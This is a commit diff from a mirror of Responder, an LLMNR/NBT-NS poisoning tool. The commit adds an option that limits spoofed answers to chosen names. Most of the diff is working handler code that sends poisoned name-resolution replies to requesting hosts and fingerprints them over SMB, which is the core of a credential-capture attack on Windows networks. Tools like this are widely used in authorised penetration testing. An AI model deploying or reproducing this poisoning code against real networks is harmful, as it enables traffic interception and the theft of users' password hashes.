mirror of
https://github.com/lgandx/Responder.git
synced 2025-08-19 13:00:00 -07:00
Added: in-scope llmnr/nbt-ns name option
This commit is contained in:
lgandx
parent
dcede0fdf5
commit
1c79bedac9
2 changed files with 177 additions and 67 deletions
|
|
@ -20,9 +20,12 @@ Challenge = 1122334455667788
|
||||||
;Set this to change the default logging file
|
;Set this to change the default logging file
|
||||||
SessionLog = Responder-Session.log
|
SessionLog = Responder-Session.log
|
||||||
;
|
;
|
||||||
;Set this options with your in-scope targets. Example: RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
|
;Set this option with your in-scope targets (default = All). Example: RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
|
||||||
;RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
|
;RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
|
||||||
RespondTo =
|
RespondTo =
|
||||||
|
;Set this option with specific NBT-NS/LLMNR names to answer to (default = All). Example: RespondTo = WPAD,DEV,PROD,SQLINT
|
||||||
|
;RespondTo = WPAD,DEV,PROD,SQLINT
|
||||||
|
RespondToName =
|
||||||
;
|
;
|
||||||
[HTTP Server]
|
[HTTP Server]
|
||||||
;;
|
;;
|
||||||
|
|
|
||||||
237
Responder.py
237
Responder.py
|
|
@ -81,6 +81,8 @@ FILENAME = config.get('HTTP Server', 'Filename')
|
||||||
WPAD_Script = config.get('HTTP Server', 'WPADScript')
|
WPAD_Script = config.get('HTTP Server', 'WPADScript')
|
||||||
RespondTo = config.get('Responder Core', 'RespondTo').strip()
|
RespondTo = config.get('Responder Core', 'RespondTo').strip()
|
||||||
RespondTo.split(",")
|
RespondTo.split(",")
|
||||||
|
RespondToName = config.get('Responder Core', 'RespondToName').strip()
|
||||||
|
RespondToName.split(",")
|
||||||
#Cli options.
|
#Cli options.
|
||||||
OURIP = options.OURIP
|
OURIP = options.OURIP
|
||||||
LM_On_Off = options.LM_On_Off.upper()
|
LM_On_Off = options.LM_On_Off.upper()
|
||||||
|
|
@ -234,12 +236,25 @@ def RespondToSpecificHost(RespondTo):
|
||||||
else:
|
else:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
def RespondToSpecificName(RespondToName):
|
||||||
|
if len(RespondToName)>=1 and RespondToName != ['']:
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
|
||||||
def RespondToIPScope(RespondTo, ClientIp):
|
def RespondToIPScope(RespondTo, ClientIp):
|
||||||
if ClientIp in RespondTo:
|
if ClientIp in RespondTo:
|
||||||
return True
|
return True
|
||||||
else:
|
else:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
def RespondToNameScope(RespondToName, Name):
|
||||||
|
if Name in RespondToName:
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
##################################################################################
|
##################################################################################
|
||||||
#NBT NS Stuff
|
#NBT NS Stuff
|
||||||
##################################################################################
|
##################################################################################
|
||||||
|
|
@ -339,55 +354,101 @@ class NB(BaseRequestHandler):
|
||||||
if PrintLLMNRNBTNS(AnalyzeFilename,Message):
|
if PrintLLMNRNBTNS(AnalyzeFilename,Message):
|
||||||
print Message
|
print Message
|
||||||
logger3.warning(Message)
|
logger3.warning(Message)
|
||||||
|
|
||||||
if RespondToSpecificHost(RespondTo) and Analyze(AnalyzeMode) == False:
|
if RespondToSpecificHost(RespondTo) and Analyze(AnalyzeMode) == False:
|
||||||
if RespondToIPScope(RespondTo, self.client_address[0]):
|
if RespondToIPScope(RespondTo, self.client_address[0]):
|
||||||
if data[2:4] == "\x01\x10":
|
if data[2:4] == "\x01\x10":
|
||||||
if Validate_NBT_NS(data,Wredirect):
|
if Validate_NBT_NS(data,Wredirect):
|
||||||
buff = NBT_Ans()
|
if RespondToSpecificName(RespondToName) == False:
|
||||||
buff.calculate(data)
|
buff = NBT_Ans()
|
||||||
for x in range(1):
|
buff.calculate(data)
|
||||||
socket.sendto(str(buff), self.client_address)
|
for x in range(1):
|
||||||
Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name)
|
socket.sendto(str(buff), self.client_address)
|
||||||
logging.warning(Message)
|
Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name)
|
||||||
if PrintLLMNRNBTNS(Log2Filename,Message):
|
logging.warning(Message)
|
||||||
print Message
|
if PrintLLMNRNBTNS(Log2Filename,Message):
|
||||||
logger2.warning(Message)
|
print Message
|
||||||
if Is_Finger_On(Finger_On_Off):
|
logger2.warning(Message)
|
||||||
try:
|
if Is_Finger_On(Finger_On_Off):
|
||||||
Finger = RunSmbFinger((self.client_address[0],445))
|
try:
|
||||||
print '[+] OsVersion is:%s'%(Finger[0])
|
Finger = RunSmbFinger((self.client_address[0],445))
|
||||||
print '[+] ClientVersion is :%s'%(Finger[1])
|
print '[+] OsVersion is:%s'%(Finger[0])
|
||||||
logging.warning('[+] OsVersion is:%s'%(Finger[0]))
|
print '[+] ClientVersion is :%s'%(Finger[1])
|
||||||
logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
|
logging.warning('[+] OsVersion is:%s'%(Finger[0]))
|
||||||
except Exception:
|
logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
|
||||||
logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
|
except Exception:
|
||||||
pass
|
logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
|
||||||
|
pass
|
||||||
|
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
|
||||||
|
buff = NBT_Ans()
|
||||||
|
buff.calculate(data)
|
||||||
|
for x in range(1):
|
||||||
|
socket.sendto(str(buff), self.client_address)
|
||||||
|
Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name)
|
||||||
|
logging.warning(Message)
|
||||||
|
if PrintLLMNRNBTNS(Log2Filename,Message):
|
||||||
|
print Message
|
||||||
|
logger2.warning(Message)
|
||||||
|
if Is_Finger_On(Finger_On_Off):
|
||||||
|
try:
|
||||||
|
Finger = RunSmbFinger((self.client_address[0],445))
|
||||||
|
print '[+] OsVersion is:%s'%(Finger[0])
|
||||||
|
print '[+] ClientVersion is :%s'%(Finger[1])
|
||||||
|
logging.warning('[+] OsVersion is:%s'%(Finger[0]))
|
||||||
|
logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
|
||||||
|
except Exception:
|
||||||
|
logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
|
||||||
|
pass
|
||||||
|
else:
|
||||||
|
pass
|
||||||
else:
|
else:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
else:
|
else:
|
||||||
if data[2:4] == "\x01\x10":
|
if data[2:4] == "\x01\x10":
|
||||||
if Validate_NBT_NS(data,Wredirect) and Analyze(AnalyzeMode) == False:
|
if Validate_NBT_NS(data,Wredirect) and Analyze(AnalyzeMode) == False:
|
||||||
buff = NBT_Ans()
|
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
|
||||||
buff.calculate(data)
|
buff = NBT_Ans()
|
||||||
for x in range(1):
|
buff.calculate(data)
|
||||||
socket.sendto(str(buff), self.client_address)
|
for x in range(1):
|
||||||
Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name)
|
socket.sendto(str(buff), self.client_address)
|
||||||
logging.warning(Message)
|
Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name)
|
||||||
if PrintLLMNRNBTNS(Log2Filename,Message):
|
logging.warning(Message)
|
||||||
print Message
|
if PrintLLMNRNBTNS(Log2Filename,Message):
|
||||||
logger2.warning(Message)
|
print Message
|
||||||
if Is_Finger_On(Finger_On_Off):
|
logger2.warning(Message)
|
||||||
try:
|
if Is_Finger_On(Finger_On_Off):
|
||||||
Finger = RunSmbFinger((self.client_address[0],445))
|
try:
|
||||||
print '[+] OsVersion is:%s'%(Finger[0])
|
Finger = RunSmbFinger((self.client_address[0],445))
|
||||||
print '[+] ClientVersion is :%s'%(Finger[1])
|
print '[+] OsVersion is:%s'%(Finger[0])
|
||||||
logging.warning('[+] OsVersion is:%s'%(Finger[0]))
|
print '[+] ClientVersion is :%s'%(Finger[1])
|
||||||
logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
|
logging.warning('[+] OsVersion is:%s'%(Finger[0]))
|
||||||
except Exception:
|
logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
|
||||||
logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
|
except Exception:
|
||||||
pass
|
logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
|
||||||
|
pass
|
||||||
|
if RespondToSpecificName(RespondToName) == False:
|
||||||
|
buff = NBT_Ans()
|
||||||
|
buff.calculate(data)
|
||||||
|
for x in range(1):
|
||||||
|
socket.sendto(str(buff), self.client_address)
|
||||||
|
Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name)
|
||||||
|
logging.warning(Message)
|
||||||
|
if PrintLLMNRNBTNS(Log2Filename,Message):
|
||||||
|
print Message
|
||||||
|
logger2.warning(Message)
|
||||||
|
if Is_Finger_On(Finger_On_Off):
|
||||||
|
try:
|
||||||
|
Finger = RunSmbFinger((self.client_address[0],445))
|
||||||
|
print '[+] OsVersion is:%s'%(Finger[0])
|
||||||
|
print '[+] ClientVersion is :%s'%(Finger[1])
|
||||||
|
logging.warning('[+] OsVersion is:%s'%(Finger[0]))
|
||||||
|
logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
|
||||||
|
except Exception:
|
||||||
|
logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
|
||||||
|
pass
|
||||||
|
else:
|
||||||
|
pass
|
||||||
|
|
||||||
##################################################################################
|
##################################################################################
|
||||||
#Browser Listener and Lanman Finger
|
#Browser Listener and Lanman Finger
|
||||||
|
|
@ -1224,12 +1285,60 @@ class LLMNR(BaseRequestHandler):
|
||||||
if data[2:4] == "\x00\x00":
|
if data[2:4] == "\x00\x00":
|
||||||
if Parse_IPV6_Addr(data):
|
if Parse_IPV6_Addr(data):
|
||||||
Name = Parse_LLMNR_Name(data)
|
Name = Parse_LLMNR_Name(data)
|
||||||
|
if RespondToSpecificName(RespondToName) == False:
|
||||||
|
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
|
||||||
|
buff.calculate()
|
||||||
|
for x in range(1):
|
||||||
|
soc.sendto(str(buff), self.client_address)
|
||||||
|
Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name)
|
||||||
|
logging.warning(Message)
|
||||||
|
if PrintLLMNRNBTNS(Log2Filename,Message):
|
||||||
|
print Message
|
||||||
|
logger2.warning(Message)
|
||||||
|
if Is_Finger_On(Finger_On_Off):
|
||||||
|
try:
|
||||||
|
Finger = RunSmbFinger((self.client_address[0],445))
|
||||||
|
print '[+] OsVersion is:%s'%(Finger[0])
|
||||||
|
print '[+] ClientVersion is :%s'%(Finger[1])
|
||||||
|
logging.warning('[+] OsVersion is:%s'%(Finger[0]))
|
||||||
|
logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
|
||||||
|
except Exception:
|
||||||
|
logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
|
||||||
|
pass
|
||||||
|
|
||||||
|
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
|
||||||
|
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
|
||||||
|
buff.calculate()
|
||||||
|
for x in range(1):
|
||||||
|
soc.sendto(str(buff), self.client_address)
|
||||||
|
Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name)
|
||||||
|
logging.warning(Message)
|
||||||
|
if PrintLLMNRNBTNS(Log2Filename,Message):
|
||||||
|
print Message
|
||||||
|
logger2.warning(Message)
|
||||||
|
if Is_Finger_On(Finger_On_Off):
|
||||||
|
try:
|
||||||
|
Finger = RunSmbFinger((self.client_address[0],445))
|
||||||
|
print '[+] OsVersion is:%s'%(Finger[0])
|
||||||
|
print '[+] ClientVersion is :%s'%(Finger[1])
|
||||||
|
logging.warning('[+] OsVersion is:%s'%(Finger[0]))
|
||||||
|
logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
|
||||||
|
except Exception:
|
||||||
|
logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
|
||||||
|
pass
|
||||||
|
else:
|
||||||
|
pass
|
||||||
|
|
||||||
|
if Analyze(AnalyzeMode) == False and RespondToSpecificHost(RespondTo) == False:
|
||||||
|
if data[2:4] == "\x00\x00":
|
||||||
|
if Parse_IPV6_Addr(data):
|
||||||
|
Name = Parse_LLMNR_Name(data)
|
||||||
|
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
|
||||||
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
|
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
|
||||||
buff.calculate()
|
buff.calculate()
|
||||||
|
Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name)
|
||||||
for x in range(1):
|
for x in range(1):
|
||||||
soc.sendto(str(buff), self.client_address)
|
soc.sendto(str(buff), self.client_address)
|
||||||
Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name)
|
|
||||||
logging.warning(Message)
|
|
||||||
if PrintLLMNRNBTNS(Log2Filename,Message):
|
if PrintLLMNRNBTNS(Log2Filename,Message):
|
||||||
print Message
|
print Message
|
||||||
logger2.warning(Message)
|
logger2.warning(Message)
|
||||||
|
|
@ -1243,33 +1352,31 @@ class LLMNR(BaseRequestHandler):
|
||||||
except Exception:
|
except Exception:
|
||||||
logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
|
logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
|
||||||
pass
|
pass
|
||||||
|
if RespondToSpecificName(RespondToName) == False:
|
||||||
if Analyze(AnalyzeMode) == False and RespondToSpecificHost(RespondTo) == False:
|
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
|
||||||
if data[2:4] == "\x00\x00":
|
buff.calculate()
|
||||||
if Parse_IPV6_Addr(data):
|
Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name)
|
||||||
Name = Parse_LLMNR_Name(data)
|
for x in range(1):
|
||||||
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
|
soc.sendto(str(buff), self.client_address)
|
||||||
buff.calculate()
|
if PrintLLMNRNBTNS(Log2Filename,Message):
|
||||||
Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name)
|
print Message
|
||||||
for x in range(1):
|
logger2.warning(Message)
|
||||||
soc.sendto(str(buff), self.client_address)
|
if Is_Finger_On(Finger_On_Off):
|
||||||
if PrintLLMNRNBTNS(Log2Filename,Message):
|
try:
|
||||||
print Message
|
Finger = RunSmbFinger((self.client_address[0],445))
|
||||||
logger2.warning(Message)
|
print '[+] OsVersion is:%s'%(Finger[0])
|
||||||
if Is_Finger_On(Finger_On_Off):
|
print '[+] ClientVersion is :%s'%(Finger[1])
|
||||||
try:
|
logging.warning('[+] OsVersion is:%s'%(Finger[0]))
|
||||||
Finger = RunSmbFinger((self.client_address[0],445))
|
logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
|
||||||
print '[+] OsVersion is:%s'%(Finger[0])
|
except Exception:
|
||||||
print '[+] ClientVersion is :%s'%(Finger[1])
|
logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
|
||||||
logging.warning('[+] OsVersion is:%s'%(Finger[0]))
|
pass
|
||||||
logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
|
else:
|
||||||
except Exception:
|
pass
|
||||||
logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
|
|
||||||
pass
|
|
||||||
else:
|
else:
|
||||||
pass
|
pass
|
||||||
except:
|
except:
|
||||||
pass
|
raise
|
||||||
|
|
||||||
##################################################################################
|
##################################################################################
|
||||||
#DNS Stuff
|
#DNS Stuff
|
||||||
|
|
|
||||||
Loading…
Add table
Add a link
Reference in a new issue